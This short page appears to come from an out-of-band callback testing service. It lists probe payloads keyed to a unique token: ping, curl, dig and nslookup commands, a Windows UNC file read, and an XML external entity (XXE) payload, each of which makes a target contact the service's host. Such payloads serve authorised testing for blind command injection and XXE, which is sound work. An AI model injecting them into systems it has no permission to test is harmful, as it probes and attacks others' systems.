$ ping -c1 -p 00c3e26b234091b49b63531936634100 unhack.ca
 

$ curl http://unhack.ca/p/c3e26b234091b49b635319366341
 

$ dig c3e26b234091b49b635319366341 @unhack.ca
 

$ dig c3e26b234091b49b635319366341.ns.unhack.ca
 

C:\> nslookup c3e26b234091b49b635319366341 unhack.ca
 

C:\> type \\unhack.ca\c3e26b234091b49b635319366341\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/c3e26b234091b49b635319366341">]>
    <foo>&xxe;</foo>